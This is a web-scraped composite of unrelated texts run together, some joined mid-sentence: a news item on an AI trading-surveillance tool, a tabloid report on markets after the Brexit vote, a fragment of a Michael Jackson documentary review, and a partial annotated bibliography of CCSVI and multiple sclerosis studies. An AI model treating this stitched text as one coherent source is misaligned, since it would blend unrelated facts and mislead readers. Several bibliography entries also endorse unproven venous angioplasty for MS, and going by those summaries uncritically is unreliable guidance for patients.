Artificial intelligence startup Neurensic on Wednesday launched a tool that creates an “integrity score” for traders based on how their trading patterns match up against patterns regulators have deemed suspicious. “To have that information in terms of running your business more efficiently or proactively avoiding regulatory troubles is huge,” said David Widerhorn, the firm’s chief executive.
Neurensic has also worked with regulators on market-manipulation investigations and is in talks with two exchanges on supplying artificial intelligence software for surveillance, he said.FEARS of economic doom as share values dramatically tumbled have been dismissed as a "very British Apocalypse" after the pound rallied in a spectacular Brexit bounce back.
Doom-mongers were stunned as the index of Britain’s biggest blue-chip companies ended up worth more last night than at the start of the week.
10 Across Europe traders were gripped by panic because of Brexit but the FTSE100 bounced back
It's after a major American bank denied speculation it was planning to move 2,000 jobs abroad following the shock referendum result.
Suzanne Evans, a prominent Vote Leave campaigner and Ukip spokesperson, said: "If this was the predicted apocalypse, well, it was a very British one.
"It was all over by teatime. Not a bad first day of freedom."
The pound plunged to a 31-year low in a matter of moments after Britain voted to leave the European Union.
But it wasn't long before the stock market fought back more than half its losses before closing down 3.2 per cent or 199.41 points at 6138.69.
One astonished investment analyst said after the City had one of its biggest roller-coasters ever: “It’s been a remarkable day,”
Getty Images 10 The markets have stabilised after a massive crash as Brexit was confirmed
The Sun 10 The pound rallied after falling ten percent against the dollar
Reuters 10 Traders hang their heads in despair at a brokerage company in London's Canary Wharf
10 The FTSE100's biggest losers this morning
Reuters 10 Traders shout across the trading floor as the City got off to a frenzied start
Across the rest of Europe, traders were gripped by panic at the vote to quit the EU. It sent foreign stock markets into free-fall.
On the other side of the Channel in FRANCE, the Cac 40 plummeted by 6.8 per cent. In GERMANY the Dax closed 5.82 per cent down.
Spain saw its Ibex index hit by a 12.35 per cent slide, the biggest loss in its 24-year history.
In Italy the reaction was even worse as its FTSE MIB collapsed by a whopping 12.48 per cent.
Even the Nikkei in Japan was not immune from the shock waves of the result. It closed 7.92 per cent down.
Back in the UK, those predicting a meltdown in the City were at first left rubbing their hands in glee as the FTSE 100 opened.
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It crashed by seven per cent — wiping a colossal £100billion off its value. At one stage early on it sank to just over 5,800 points.
Tony Cross, of investment supermarket Trustnet Direct, said it was the “biggest one-day loss in point terms” since its launch in 1984.
Fellow market analyst Chris Beauchamp, of online trader IG, described it as “an opening of cataclysmic proportions”.
But then came a fightback which saw a quarter of the Footsie’s stocks actually make gains.
By close of trading it was back up to 6,138.69, meaning it was just 199.41 down, or 3.15 per cent.
That was higher than it had been on Monday and was the first weekly gain in a month.
10 European markets also took a tumble in the Brexit fallout
Analyst Mr Beauchamp said: “In purely market terms, the FTSE 100 has staged a remarkable recovery.
“Markets are discovering how to live in a post-Brexit world, a state of affairs that seemed impossible just 24 hours ago.”
He said of the losses elsewhere: “The ripples of the UK’s decision today will be felt across the globe, and for a long time to come.”
The Footsie’s big gainers included Guinness maker Diageo, which was up 2.45 per cent.
Another was drugs firm Glaxo-SmithKline which saw its shares rise 3.71 per cent.
Tobacco giant Imperial Brands was up 0.42 per cent.
The FTSE 100 explained Our City Editor Rhodri Phillips explains the ups and downs on the markets after the vote for Brexit: The stock markets hate uncertainty – but after an early wobble the FTSE 100, like the rest of us, appears to be coming to terms with Brexit. Britain’s blue chip companies are now worth more than on Monday morning – and significantly more than on February 20, when the EU poll was called. Some stocks, such as Guinness-maker Diageo, drugs firm GlaxoSmithKline and tobacco seller Imperial Brands are even up for the day. London’s index of top firms is outperforming the markets in Germany, France and Japan – and is likely to do so in the coming weeks. This is because a weakened pound will be a boon for exporters, like engine maker Rolls-Royce. Look at a graph of the FTSE 100 since the start of the month and it traces the ups and downs of a crazy rollercoaster ride. It tumbled for a week from June 8, as opinion polls showed the chances of a Brexit were growing. Then it picked up on Thursday last week in the wake of England’s Euro 2016 victory over Wales – and rose steadily in recent days as polls veered more towards a Bremain. Today’s crash was inevitable, but brief, and despite panic in the City, the FTSE 100 is now on the way back. We are likely to see some more lurches and drops in the coming weeks and months. But this isn’t a return to the crazy volatility of the credit crunch.
Among significant fallers were banks and housebuilders.
Barclays was down 17.67 per cent, Lloyds fell 21 per cent, and RBS dropped 18.04 per cent.
Taylor Wimpey ended the day down 29.26 per cent and Persimmon fell 27.55 per cent.
The initial reaction to yesterday’s Brexit vote had also looked grim for the Pound.
It fell ten per cent against the dollar and at one point was worth just $1.31, a 30-year low.
But by the evening it had settled around $1.36, meaning $1 was worth around 73p.
Economist John Hearn, of the London Institute of Banking and Finance, described it as a “win, win, win for the UK economy” after the Pound almost hit £1.50 days ago — when a Remain vote had looked a virtual certainty.
He said: “The fall in the exchange rate benefits UK exporters by lowering prices.
Getty Images 10 Currency dealers monitor exchange rates
10 Value of the pound plummeted as Britain voted for Brexit
“It helps the domestic producer by making their products more price competitive and does not affect the rate of inflation.”
He said of the UK shedding its EU shackles: “We can look forward to faster rates of economic growth as we embrace the world economy.”
His views were echoed by buoyant JCB king Lord Bamford. He declared: “We should look ahead to opportunities to trade more freely with the rest of the world.
Rex Features 10 City traders seemed convinced the Remain camp would eke out a win
The Brexit vote was good news for the gold market as those with the jitters rushed to invest. Prices rose 22 per cent.
Across the Atlantic, the US Federal Reserve said it was “closely monitoring” the reaction of markets after the Dow Jones Industrial Average opened 2.8 per cent lower.
Last night experts predicted any big Brexit impact on the UK economy would see Bank of England Governor Mark Carney cut its interest rate to zero.
David Tinsley, economist at bank UBS, said the cut could happen before next February.
The prediction came as forecasts for growth were downgraded.
Bank chief's £250bn vow THE Bank of England has £250billion at hand to keep the markets stable, Governor Mark Carney said yesterday. He warned that “some market and economic volatility can be expected” after the Brexit vote. But he said the Bank “is monitoring developments closely and has undertaken extensive contingency planning”. He added that besides being ready to provide more than £250billion “the Bank won’t hesitate to take additional measures as required as markets adjust and the UK economy moves forward”. Mr Carney, right, said there will be “no initial change in the way our people can travel, our goods can move or our services can be sold”. He added: “It’ll take time for the UK to establish new relationships with Europe and the rest of the world.” The Bank vowed to “take all necessary steps to meet its responsibilities for monetary and financial stability”.
Capital Economics estimated it will be 1.5 per cent this year, down from its pre-Brexit forecast of just over 2 per cent.
Britain also faces losing its coveted AAA credit rating.
Moritz Kraemer, chief ratings officer at Standard and Poor’s, described it as “untenable under the circumstances”.
Rival ratings agency Moody’s said the Leave vote will “weigh on the UK’s economic and financial performance”.
But it added: “We expect that, over time, the UK and the EU would come to an arrangement to preserve most — but probably not all — of the current trading relationships.”
Credit rating into negative BRITAIN’S credit rating was last night lowered from stable to negative. Agency Moody’s expects growth to slow and public finances to weaken, making it harder to cut national debt. It also warned economic policymaking could suffer as Britain struggles through the break-up. The overall rating was kept at AA+, the second highest. It is three years since Moody’s cut it from AAA.
We pay for your stories! Do you have a story for The Sun Online news team?
Email us at tips@the-sun.co.uk or call 0207 782 4368I usually seek out documentaries to find a fresh perspective or insight on the film’s subject. When the documentary is about a person, I want to try to understand, to know the person.
Part performance, part rehearsal, part behind-the-scenes documentary, Michael Jackson’s This Is It (Ortega, 2009) chronicles the preparations for what would have been Michael Jackson’s series of concerts at London’s O2 Arena. I love exploring the process of things, and I’m a Michael Jackson fan, so it seems I would be an ideal audience for this film. As a fan, I can evaluate what state this 50 year-old legend was in as he embarked on the biggest project of his career. I can hear music I grew up with, music that shaped my life, played with virtuosity yet familiarity. I can examine his ruined face, albeit from a great distance. I can hear his voice. I can try to glean whatever message I think he was trying to communicate. But I can never know him. This Is It defies my desire, a fan’s desire, to try to understand what made Michael Jackson tick |
at all levels of the internal jugular vein (IJV). Narrowing above 50% occurred primarily at the C4 level (upper cervical and skull base). 04-13-2016
492 Social Media Representation of Chronic Cerebrospinal Venous Insufficiency Intervention for Multiple Sclerosis S Ghahari, SJ Forwell Mar-2016 Full Content You Tube videos about CCSVI treatment posted by 621 people with MS and 238 health care professionals (HCP) were analyzed. Eighty-six percent of people with MS reported improvement in at least one symptom. Most HCPs recommended the procedure but called for continued research. 04-29-2016
467 Impaired retinal microcirculation in multiple sclerosis. H Jiang, S Delgado, J Tan, C Liu, KW Rammahan, DC DeBBuc, BL Lam, WJ Feuer, J Wang Feb-2016 Abstract This study of 17 people with RRMS and 17 matched healthy controls found impaired retinal microcirculation of the venules and arterioles of people with RRMS. This indicates microvascular dysfunction in MS. 04-12-2016
468 Why Current Doppler Ultrasound Methodology Is Inaccurate in Assessing Cerebral Venous Return: The Alternative of the Ultrasonic Jugular Venous Pulse P Zamboni Feb-2016 Full Content The author explains why it may be preferable to reliably assess the ultrasonic jugular venous pulse (US JVP) as a screening and prevention tool for neurocognitive disorders. 04-12-2016
469 CRT-300.04 Does An Endovascular Procedure Improve the Quality of Life in Patients with Multiple Sclerosis M Zorc, M Denistic, Z Milosevic, RZ Pleskovic, OV Porenta, A Pleskovic Feb-2016 Abstract This study of 94 people with MS (22 with RRMS, 44 with SPMS, 26 with PPMS) found only 2% did not have vascular abnormalities. Endovascular procedures reduced bladder dysfunction, improved fatigue and contributed to improved disability and quality of life. 04-12-2016
472 Neurovascular and immuno-imaging: from Mechanisms to Therapies. Proceedings of the Inaugural Symposium. K Akassoglou, D Agalliu, CJ Chang, D Davalos, J Grutzendler, EM Hillman, BS Khakh, D Kleinfeld, DB McGavern, SJ Nelson, BV Zlokovic Feb-2016 Full Content These proceedings highlight how advances in imaging technology have changed the understanding of communication between the brain, immune, and vascular systems. This can help explain the coupling of neuronal activity to blood supply in the brain. 04-12-2016
475 Medical Tourism for CCSVI Procedures in People with Multiple Sclerosis: An Observational Study LM Metz, J Greenfield, RA Marrie, N Jette, G Blevins, LW Svenson, K Alikhani, W Wall, R Dhaliwal, O Suchoversky Feb-2016 Abstract Online questionnaires found the proportion of people reporting CCSVI procedures declined over time. CCSVI procedures were associated with longer disease duration, SPMS and greater disability status. 04-13-2016
483 Age-related brain atrophy may be mitigated by internal jugular vein enlargement in male individuals without neurologic disease P Belov, C Magnano, J Krawiecki, J Hagemeier, N Bergsland, C Beggs, R Zivadinov Feb-2016 Abstract This study of 193 healthy individuals found sex differences in the relationship between brain volume and internal jugular vein cross-sectional areas. 04-14-2016
487 Assessment of Internal Jugular Vein Size in Healthy Subjects with Magnetic Resonance and Semiautomatic Processing MM Lagna, L Pelizzari, E Scaccianoce, O Dipasquale, C Ricci, F Baglio, P Cecconi, G Baselli Feb-2016 Full Content Different internal jugular vein (IJV) cross-sectional areas (CSA) have been reported. This article introduces a semiautomatic method to measure and normalize the CSA and degree of circularity of IJVs along their whole length. 04-14-2016
507 Hypercapnia and hypoxaemia due to impaired venous blood draining and significant improvement after endovascular treatment in patients with chronic cerebrospinal venous insufficiency I Petrov, L Grozdinski, S Tsonev, M Iloska, I Tasheva Jan-2016 Full Content This study of 178 people with MS and CCSVI and 50 controls suggests that people with MS present with abnormal levels of carbon dioxide and low levels of oxygen in the brain and spinal cord that are at least partially caused by CCSVI. This can be improved with endovascular procedures. 11-03-2016
484 Imaging central veins in brain lesions with 3-T T2*-weighted magnetic resonance imaging differentiates multiple sclerosis from micronangiopathic brain lesions N Mistry, R Abdel-Fahim, A Samaraweera, O Mongin, E Tallantyre, C Tench, T Jaspan, P Morris, PS Morgan, N Evangelous Dec-2015 Abstract In this study of 40 people 3-T T2* weighted brain MRI distinguished perivenous MS lesions from small vessel disease lesions. 04-14-2016
485 The Oscillating Component of the Internal Jugular Vein Flow: The Overlooked Element of Cerebral Circulation F Sisini, E Toro, M Gambaccini, P Zamboni Dec-2015 Full Content This technical paper highlights the back and forth movement of the IJV (internal jugular vein) and its potential relevance in understanding the relationship between brain drainage and some neurological disorders. 04-14-2016
486 Chronic Cerebrospinal Venous Insufficiency A Rasman Dec-2015 Full Content This letter to the editor identifies why there may be such widespread discrepancies in studies attempting to identify and assess CCSVI. Reproducible and objective CCSVI assessment is warranted. 04-14-2016
474 The Pathology of the Internal Jugular Vein Wall in Multiple Sclerosis M Pedriali, P Zamboni Nov-2015 Full Content The authors discuss the pathology of internal jugular veins (IJV) and note that in people with MS the IJV shows significant changes in all venous layers as well as in the valve. 04-12-2016
471 May symptoms of chronic cerebrospinal venous insufficiency be improved by venous angioplasty? An independent 4-year follow up on 366 cases PM Bavera Oct-2015 Full Content Significant positive results 4 years after vein angioplasty in 366 people with CCSVI (264 RRMS, 62 SPMS, 40 PPMS) were found in people with RRMS. Venous angioplasty appears to be safe. Venous angioplasty should be performed sooner rather than later. 04-12-2016
476 C1-C2 X-ray assessment of misalignment parameters in patients with Chronic Cerebra-spinal Venous Insufficiency and Multiple Sclerosis versus patients with other pathologies. S Mandolesi, G Marceca, A d'Alessandro, A Desogus, MM Ciccone, A Zito, E Manconi, T Niglio, D Mandolesi, A d'Alessandro, F Fedele Jul-2015 Abstract Data analysis of C1-C2 X-Ray parameters of 386 people with CCSVI and MS and 156 controls found significant severe anterior intrusion and right laterally misalignment in people with MS was two to three times more frequent than in controls. 04-13-2016
477 New acoustic wave therapy improves quality of life in patients with multiple sclerosis and chronic cerebrospinal venous insufficiency. A d'Alessandro, T Niglio, A d'Alessandro, D Mandolesi Jul-2015 Abstract A patient with MS and CCSVI treated with acoustic waves showed marked improvement with a follow-up of two years. 04-13-2016
479 Scientific Versus Experiential Evidence: Discourse Analysis of the Chronic Cerebrospinal Venous Insufficiency Debate in a Multiple Sclerosis Forum J Koschak, L Weibezahl, T Friede, W. Himmel, P Makendonski, J Grabowski Jul-2015 Full Content Discourse analysis of an online forum of the German MS Society of 117 CCSVI threads and 1907 posts detected evidence in lay discourse is different from evidence in expert discourse. 04-13-2016
455 The discovery of the brain lymphatic system P Zamboni Jun-2015 Full Content This editorial notes that the discovery of a brain lymphatic system will require that the autoimmune etiology of several neuroinflammatory and neurodegenerative diseases, including MS, will need to be reconsidered. 06-27-2015
456 Structural and functional features of central nervous system lymphatic vessels. A Louveau, I Smirnov, TJ Keyes, JD Eccles, SJ Rouhani, JD Peske, NC Derecki, D Castle, JW Mandell, KS Lee, TH Harris, J Kipnis Jun-2015 Abstract The discovery of the central nervous system lymphatic system may call for a reassessment of basic assumptions in neuroimmunology. 06-27-2015
457 A dural lymphatic vascular system that drains brain interstitial fluid and macromolecules A Spelund, S Antila, ST Proulx, TV Karlsen, S Karaman, M Detmar, H Wiig, K Alitalo Jun-2015 Abstract This study indicates that the mechanism of CSF flow into the direct cervical lymph nodes is directly via an adjacent dural lymphatic network, which may be important for the clearance of macromolecules from the brain. The results call for a reexamination of the role of the lymphatic system in CNS physiology and disease. 06-27-2015
458 An anatomy-based lumped parameter model of cerebrospinal venous circulation: can an extracranial anatomical change impact intracranial hemodynamics? S Marcotti, L Marchetti, P Cecconi, E Votta, GB Fiore, A Barberio, S Viotti, A Redaelli, MM Lagana Jun-2015 Full Content The authors present a hypothesis for modeling venous drainage in the brain and spinal column and simulating intracranial flow changes due to extracranial stenoses. 06-27-2015
459 Cerebral hypoperfusion: a new pathophysiologic concept in multiple sclerosis? M D'haeseleer, S Hostenbach, I Peeters, SE Sankari, G Nagels, J De Keyser, MB D'hooghe Jun-2015 Abstract There is evidence that reduced cerebral blood flow (CBF) is MS is associated with chronic hypoxia, focal lesion formation, axonal degeneration, cognitive dysfunction and fatigue. Restoring CBF may be a new therapeutic target in MS. 06-27-2015
460 Impact of CCSVI on cerebral haemodynamics: a mathematical study using MRI angiographic and flow data. LO Muller, EF Toro, EM Haacke, D Utrianen Jun-2015 Abstract This study suggests extra-cranial venous strictures can lead to pressure increases in intra-cranial veins of up to 1.3 mmHG. The long term clinical implications of the predicted pressure changes are unclear. 06-27-2015
473 Chronic Cerebrospinal Venous Insufficiency Is It Venosclerosis? Z Sternberg Jun-2015 Full Content The author presents information suggesting CCSVI may be venosclerosis. 04-12-2016
490 An anatomy-based lumped parameter model of cerebrospinal venous circulation: can an extracranial anatomic change impact intracranial hemodrynamics? S Marcotti, L Marchetti, P Cecconi, E Votta, GB Fiore, A Barberio, S Viotti, A Redaelli, MM Lagana Jun-2015 Full Content This paper provides a model of the venous drainage in the brain and spinal column areas and simulates the intracranial flow changes due to extracranial stenosis. 04-14-2016
466 Inflammation, Iron, Energy Failure, and Oxidative Stress in the Pathogenesis of Multiple Sclerosis L Haider May-2015 Full Content This review highlights the possible sources of oxidative stress in people with MS. 06-27-2015
478 Preliminary results after upper cervical chiropractic care in patients with chronic cerebro-spinal venous insufficiency and multiple sclerosis S Mandolesi, G Marceca, J Moser, T Niglio, A d'Alessandro, MM Ciccone, A Zito, D Mandolesi, A d'Alessandro, F Fedele May-2015 Abstract Preliminary results of adjustments of C1-C2 on 77 people with MS and CCSVI suggest this may be the main non-invasive treatment of mechanical CCSVI in people with MS. 04-13-2016
463 Iron deposition in the gray matter in patients with relapse-remitting multiple sclerosis: A longitudinal study using three dimensional (3D)-enhanced T2*-weighted angiography (ESWAN) S Du, SK Sah, C Zeng, J Wang, Y Liu, H Xiong, Y Li Apr-2015 Abstract This study of 30 people with RRMS and 30 healthy controls found iron concentration increased in the gray matter of people with MS during a two year period. There was also a significant and substantial correlation of iron with disease severity. 06-27-2015
464 Predictors of chronic cerebrospinal venous procedure use among older people with multiple sclerosis: a national case-control study M Ploughman, OJ Manning, S Beaulieu, C Harris, SH Hogan, N Mayo, JD Fisk, P O'Connor, S Morrow, LM Metz, et al Apr-2015 Full Content Analysis of data on people with MS over 20 years and over 55 years of age found 12.8% (95/743) had the “liberation” procedure. 06-27-2015
465 Brain Hyperchogenicities are not Associated with Venous Insufficiency in Multiple Sclerosis: A Pilot Neurosonology Study. C Krogias, R Gold, A Chan, N Triantafyllou, K Voumvourakis, G Tsvigoulis Apr-2015 Abstract This study of 32 people with MS did not support the “venous hypothesis” resulting in iron accumulation. 06-27-2015
461 Neuroendocrine Responses to Transvascular Autonomic Modulation: A Modified Balloon Angioplasty in Multiple Sclerosis Patients. M Arata, Z Stemberg Mar-2015 Abstract Unexpected reductions in adrenocorticotropic hormone (ACTH) and cortisol following balloon angioplasty need further investigation. 06-27-2015
462 Reflections on the Canadian study by Traboulsee et al. Prevalence of extracranial venous narrowing on catheter venography in people with multiple sclerosis, their siblings, and unrelated healthy controls: a blinded, case control study S Mandolesi, A d'Allessandro, T Niglio, M Rosse Mar-2015 Full Content The authors identify and list numerous concerns and questions about the Canadian study by Traboulsee et al. 06-27-2015
452 Cerebral Circulation Time is Prolonged and Not Correlated with EDSS in Multiple Sclerosis Patients: A Study Using Digital Subtracted Angiography L Monti, D, Donati, E Menci, S Cioni, M Bellini, I Grazzini, S Leonini, P Galluzzi, S Severi, L Burroni, A Casasco, L Morbidelli, E Santarnecchi, P Piu Feb-2015 Full Content This study of 80 people with MS (45 RRMS, 35 SP or PPMS) and 44 controls measuring cerebral circulation time (CCT) found blood flow in the brains of people with MS was significantly slower than in controls. Further, the study findings suggest the presence of microvascular dysfunction is not dependent on clinical and MRI findings. 03-05-2015
453 Italian Chronic Cerebrospinal Venous Insufficiency National Epidemiological Observatory methodology and preliminary data S Mandolesi, A d'Alessandro, MM Ciccone, A Zito, T Niglio, E Manconi, D Mandolesi, A d'Alessandro, A Bruno, F Fedele Feb-2015 Full Content The CCSVI National Epidemiological Observatory (NEO) and Mem-net software may be useful medical and research tools for recording, storing, analyzing and studying vascular data. Preliminary data utilizing this methodology identified CCSVI in 84.9% (937 people) out of a total of 1109 people with MS. 03-05-2015
454 An Ultrasonic Technique to Assess the Jugular Venous Pulse: A Proof of Concept F Sisini, M Tessari, G Gadda, G Di Domenico, A Taibi, E Menegatti, M Gambaccini, P Zamboni Feb-2015 Abstract This study found a diagram reflecting the jugular venous pulse (JVP) can be obtained by analyzing a B-mode sonogram of the internal jugular vein (IJV). This may result in new methodology to assess IJV functionality. 03-05-2015
470 CRT-301. Gait Speed and Quality of Life After Vein's Endovascular Procedures in Patients with Multiple Sclerosis M Zorc, M Denislic, J Ravnik, Z Milosevic, JY Al-Hashel, RZ Pleskovic, D Ravnik Feb-2015 Abstract Two years after angioplasty this study of 64 people with MS noted improvement in the clinical disability of people with RRMS. Gait speed significantly improved in 70% of people with MS, fatigue decreased and bladder function improved. 04-12-2016
449 Prevalence of chronic cerebrospinal venous insufficiency in multiple sclerosis: a blinded sonographic evaluation L Tromba, S Blasi, A Vestri, D Kiltzanidi, F Tartaglia, A Redler Jan-2015 Abstract In a blinded study the Zamboni ultrasound protocol combined with M-mode ultrasound examination identified CCSVI in 59.8% of 112 people with MS and no CCSVI in 67 healthy subjects. CCSVI is strongly associated with MS and is not found in healthy controls. 02-12-2015
450 Intracranial Relationship Between Arterioles and Venules Size P De Bonis, P Zamboni Jan-2015 Full Content This is a letter to the editor about reduced cerebrovascular reactivity (CVR) in people with MS. The possible role of increased resistance in extracranial veins warrants further study. 02-12-2015
451 Chronic cerebrospinal venous insufficiency: the end of “The Big Idea”? E Stolz Jan-2015 Full Content This is an editorial comment on the status of CCSVI research. 02-12-2015
434 How to objectively assess jugular primary venous obstruction P Zamboni Dec-2014 Full Content The author explains why the study by Traboulsee, et al failed to find differences in CCSVI prevalence between people with MS and healthy controls. 12-27-2014
435 Cerebral venous outflow and cerebrospinal fluid dynamics CB Beggs Dec-2014 Full Content This review highlights the potential impact of restricted venous outflow on the biomechanics of the intracranial fluid system. 12-27-2014
436 Chronic cerebrospinal venous insufficiency in Meniere's disease: diagnosis and treatment A Bruno, L Califano, D Mastrangelo, M De Vizia, B Bernardo, F Salafia Dec-2014 Full Content This study of 50 people with Meniere's disease (MD) found 45 (90%) had a diagnosis of CCSVI. Percutaneous transluminal angioplasty (PTA) improved symptoms and vestibular function in the majority of people with MD and CCSVI. 12-27-2014
437 Internal jugular vein narrowing and body mass index in healthy individuals and multiple sclerosis patients C Magnano, P Belov, J Krawiecki, J Hagemeier, R Zivadinov Dec-2014 Full Content This study of 194 people with MS and 194 healthy individuals (HI) found increased body mass index (BMI) was associated with internal jugular vein (IJV) widening at lower cervical levels in both people with MS and HI. BMI can obscure interpretation of IJV cross-sectional areas. 12-27-2014
438 Storms, hanged pirates, anemia, exsanguination: the contributions of Morro, Kellie and Abercrombie in understanding intracranial blood circulation P De Bonis, C Anile Dec-2014 Full Content The authors discuss several historical doctrines regarding intracranial blood circulation. 12-27-2014
439 Assessment of chronic cerebrospinal venous insufficiency in patients with multiple sclerosis by a Morphological-Hemodynamic Map software S Mandolesi, T Niglio, A d'Alessandro, D Mandolesi, L Agati, MM Ciccone, AP Zito, A Orsini, E Manconi, F Fedele Dec-2014 Abstract MEM-net software was utilized to analyze Echo-Color-Doppler (ECD) data from 552 people with MS. The software diagnosed 83% positive for CCSVI. CCSVI was classified into three different types. 12-28-2014
440 Comparison of brain vessel imaging from transtemporal and transcondylar approaches using contrast-enhanced transcranial color-coded duplex sonography and Virtual Navigator D Skoloudik, M Kuliha, M Roubec, J Havelka, K Langova, R Herzig Dec-2014 Full Content In a comparison of approaches transcranial color-coded duplex sonography (TCCS) was found to have serious limitations in the standard detection of intracranial venous reflux. 12-28-2014
441 Review of catheter venography protocols in the evaluation of chronic cerebrospinal venous insufficiency H Ferrall Nov-2014 Full Content Technical details of catheter venography including venous access site selection, catheter selection, position, contrast injection techniques and interpretation of venographic findings are reviewed. 12-28-2014
442 Endothelin-1 concentrations in the internal jugular and azygous veins in multiple sclerosis patients: the results of a pilot study M Simka, T Ludyga, P Janas, M Kazibudzki, P Latacz Nov-2014 Full Content This pilot study of 9 people with MS and 5 healthy controls suggests it is unlikely that endothelin-1 is responsible for the symptoms of MS. 12-28-2014
443 A new hemodynamic model for the study of cerebral venous outflow G Gadda, A Taibi, F Sisini, M Gambaccini, P Zamboni, M Ursino Nov-2014 Abstract This mathematical model of cerebral venous outflow reproduces average physiological behavior of the jugular, vertebral and cerebral ducts in terms of pressure and flows. 12-28-2014
444 Relationship between iron accumulation and white matter injury in multiple sclerosis: a case-control study. E Raz, B Branson, JH Jensen, M Bester, JS Babb, J Herbert, RI Grossman, M Inglese Nov-2014 Abstract This study of 31 people with MS found quantitative iron evaluation of white matter and gray matter may improve the understanding of the pathophysiology of MS and may serve as a surrogate marker of disease progression. 12-28-2014
448 "Liberation treatment" for chronic cerebrospinal venous insufficiency in multiple sclerosis: the truth will set you free G Tsivgoulis, S Faissner, K Voumvourakis, AH Katsanos, N Triantafyllou, N Grigoriadis, R Gold, C Krogias Nov-2014 Full Content The authors conclude CCSVI is a poorly reproducible and clinically irrelevant sonographic construct with no proven efficacy. Treatment should not be offered even in controlled clinical trials. 12-28-2014
431 Jugular Venous Flow Abnormalities in Multiple Sclerosis Patients Compared to Normal Controls. SK Sethi, DT Utriainen, AM Daugherty, W Feng, JJ Hewitt, N Raz, EM Haacke Oct-2014 Abstract MRI was used to assess the anatomy and function of major veins in the neck of 138 people with MS and 67 healthy controls (HCs). People with MS had lower normalized IJV blood flow than HCs. 10-19-2014
432 Calcium micro-depositions in jugular truncular venous malformations revealed by Synchroton-based XRF imaging L Pascolo, A Gianoncelli, C Rizzardi, V Tisato, M Salome, C Calligaro, F Salvi, D Paterson, P Zamboni Oct-2014 Full Content Truncular venous malformations (TVMs) of the IJVs were analyzed in 2 people with TVMS and 2 controls. Higher calcium deposits were identified in people with a TVM. 10-19-2014
445 In vitro study of the direct effect of extracellular hemoglobin on myelin components. VV Bamm, DK Lanthier, EL Stephenson, GS Smith, G Harauz Oct-2014 Abstract This work supports further research into the vascular pathology in MS to gain insight into the origin and role of iron deposits in disease pathology. 12-28-2014
424 Increased size of third ventricle in patients with multiple sclerosis and chronic cerebrospinal venous insufficiency A d'Alessandro, S Mandolesi, T Niglio, A Orsini, P Di Cello, F Pelle, F Mora, D Mandolesi, F Fedele Sep-2014 Full Content The size of the third ventricle was measured in 33 people with MS and CCSVI and 33 healthy controls. Twenty nine people with MS and CCSVI (88%) had an increase in third ventricle diameter. This could represent a criterion of positivity of neurological disease in people with CCSVI. 09-20-2014
425 Navigating the "liberation procedure": a qualitative study of motivating and hesitating factors among people with multiple sclerosis M Ploughman, C Harris, SH Hogan, C Murray, M Murdoch, MW Austin, M Stefanelli Sep-2014 Full Content Semistructured interviews of 7 people who underwent angioplasty for CCSVI and of 8 who did not identified factors impacting their respective decisions. 09-20-2014
430 Recommendations for Multimodal Noninvasive and Invasive Screening for Detection of Extracranial Venous Abnormalities of Chronic Cerebrospinal Venous Insufficiency: A Position Statement of the International Society for Neurovascular Disease R Zivadinov, S Bastianello, MD Dake, H Ferral, EM Haacke, ZJ Haskal, D Hubbard, N Liasis, K Mandato, S Sclafani, AH Siddiqui, M Simka, P Zamboni Sep-2014 Full Content This International Society for Neurovascular Disease (ISNVD) position paper presents the magnetic resonance (MR) imaging and intravascular ultrasound (US) protocols and describes refined Color Doppler US and catheter venography (CV) protocols. 10-19-2014
433 "I knew what was going to happen if I did nothing and so I was going to do something"; Faith, hope and trust in the decisions of Canadians with multiple sclerosis to seek unproven interventions abroad J Snyder, K Adams, VA Crooks, D Whitehurst, J Vallee Sep-2014 Full Content An analysis of interviews with 15 Canadians who sought CCSVI treatment abroad found loss of faith in the Canadian health system and especially neurologists were underlying factors in their decisions to seek treatment. 10-19-2014
427 Impaired Cerebrovascular Reactivity in Multiple Sclerosis. O Marshall, H Lu, JC Brisset, F Xu, P Liu, J Herbert, RI Grossman, Y Ge Aug-2014 Abstract This study of cerebrovascular reactivity (CVR) in 19 healthy controls (HCs) and 19 people with MS found a significant decrease of average global gray matter CVR in people with MS compared to HCs. There was also a significant positive correlation between global CVR and gray matter atrophy. Decreased CVR may be the underlying cause of neurodegeneration in MS. 09-20-2014
428 Collision or convergence?: beliefs and politics in neuroscience discovery, ethics, and intervention. B Paylor, H Longstaff, F Rossi, J Illes Aug-2014 Abstract The authors identify CCSVI as one of five cases where beliefs and politics prevailed over evidence and ethics. 09-20-2014
429 Cerebrospinal Fluid Flow Dynamics in Multiple Sclerosis Patients through Phase Contrast Magnetic Resonance Imaging. MM Lagana, A Chaudhary, D Balagurunathan, D Utriainen, P Kokeny, W Feng, P Cecconi, D Hubbard, M Haacke Aug-2014 Abstract Cerebrospinal fluid (CSF) flow dynamics at the cervical level in association with internal jugular vein (IJV) flows was examined in 92 people with MS. The results suggest alterations in IJV morphology affect both IJV flow and CSF flow timing but not CSF flow amplitude. 10-19-2014
426 Using the MEM-net program to report on mapping the Echo Color Doppler assessment for chronic cerebrospinal venous insufficiency S Mandolesi, A d'Alessandro, E Manconi, T Niglio, A Orsini, D Mandolesi Jul-2014 Full Content An internet based program, hemodynamic morphological map (MEM-NeT), reduces Echo Color Doppler (ECD) reporting time and makes a blind control for scientific research. 09-20-2014
413 Preliminary report on a new concept stent prototype designed for venous implant. M Lugli, O Maleti Jun-2014 Abstract The authors designed a stent to match characteristics required by vein implants rather than arteries. The stents were tested in the internal jugular vein of sheep and were flexible and easily and safely placed. 06-16-2014
414 Multiple sclerosis deep grey matter: the relation between demyelination, neurodegeneration, inflammation and iron L Haider, C Simeonidou, G Steinberger, S Hametner, N Grigoriadis, G Deretzi, GG Kovacs, A Kutzelnigg, H Lassmann, JM Frischer Jun-2014 Full Content Systematic studies of the white matter and cortex of 25 MS autopsy patients and 12 controls found focal lesions and diffuse neurodegeneration in deep grey matter appeared to contribute to neurological disability in people with MS. 06-16-2014
415 Transvascular Autonomic Modulation: A Modified Balloon Angioplasty Technique for the Treatment of Autonomic Dysfunction in Multiple Sclerosis Patients M Arata, Z Sternberg Jun-2014 Full Content Transvascular autonomic modulation (TVAM) was performed on 21 people with MS who also had symptoms of cardiovascular autonomic nervous system (ANS) dysfunction. The combination of balloon angioplasty of normal veins coupled with external compression can improve indicators of ANS dysfunction. 06-16-2014
